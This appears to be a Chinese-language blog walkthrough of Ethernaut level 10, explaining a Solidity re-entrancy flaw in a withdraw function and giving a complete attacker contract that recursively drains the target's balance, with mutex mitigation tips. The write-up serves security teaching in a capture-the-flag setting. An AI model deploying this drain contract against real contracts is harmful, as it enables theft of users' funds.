Ethernaut – level 10 : Re-entrancy

(https://ethernaut.openzeppelin.com/level/0xe6BA07257a9321e755184FB2F995e0600E78c16D)

這一關的目標是: 從contract 中轉走所有的balance。

看合約的程式,包含了一個donate(捐錢給合約,捐多少錢會記在balances),balanceOf(查看balances上記著多少),及一個withdraw(提錢走,但程式中有一個條件,balances中記著的錢要大於提走的錢)

function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

要過這一關,主要是利用了程式執行先後順序的漏洞,因為判斷是balances[msg.sender] >= _amount,若有大於就可以進行提款,提款是呼叫其他合約的recevie or fallback程式,執行完後再進行balances[msg.sender] -= _amount,下次要進行提款時,就會再一次的判斷balances[msg.sender] >= _amount。避免剩餘的balances小於提款的數量的情況(也就是避免提出超過donate的錢)。但是如果我們在呼叫其他合約的receive程式裡再呼叫此合約的提款,則此時尚未進行-= _amount的動作,所以程式就會一直以為達成balances[msg.sender] >= _amount的條件。進而把錢提到光為止!。進行起來如下圖:

source:https://medium.com/coinmonks/

所以,我們可以在Remix寫一隻惡意合約來達成上述的目的:

contract Hack_Reentrancy{

    address target_address;
    uint donate_amount= 1000000000000000;

    constructor(address _target) payable {
        target_address = _target;
    }

    function init_attack() public payable {
        (bool success_donate,)=target_address.call{value: msg.value}(abi.encodeWithSignature("donate(address)", address(this)));
        require(success_donate,"failed to donate");
        
    }

    function init_withdraw() public{
        target_address.call(abi.encodeWithSignature("withdraw(uint256)", donate_amount));
    }



    receive() external payable{
        uint targetBalance= target_address.balance;
        if( targetBalance >= donate_amount){
    target_address.call(abi.encodeWithSignature("withdraw(uint256)",donate_amount));
        }
    }
}

所以先呼叫init_attach進行donate (使用Remix時記得輸入Value值,例如0.001 Ether),此時可以回Ethernaut的console輸入await contract.balanceOf(instance),會發現此時的值從原本的0.001Ether變成0.002Ether,然後可呼叫init_withdraw(),來進行提款,提第一次款時,原Reenterance contract匯款時會引發recevie()中的recursive匯款,直到清空contract,這邊需要特別提醒的是,可能會需要手動調整metamask錢包的gas limit,若沒有調整可能會出現out of gas而導致transaction沒有進行(但還是會收走gas-fee!),執行完後,可以用await contract.balanceOf(instance)查看是否已經清零。另外,在我們自己寫的contract中也可以寫一支function於最後將此合約的剩餘balance轉回自己的錢包 ( payable(msg.sender).transfer(address(this).balance))。

*takeaway:

  • Solidity的程式執行順序可能會影響,因此要特別注意。
  • 有類似這題情況的交易時,可以考慮用Mutex鎖來確保交易的原子性,亦即要執行withdraw時檢查鎖在unlock狀態下才執行,執行第一步先lock,最後執行完成後unlock。
  • 這樣的攻擊手法引發的改變以太坊進程的歷史大事件,THE DAO Hack,找機會我們來講講這個故事。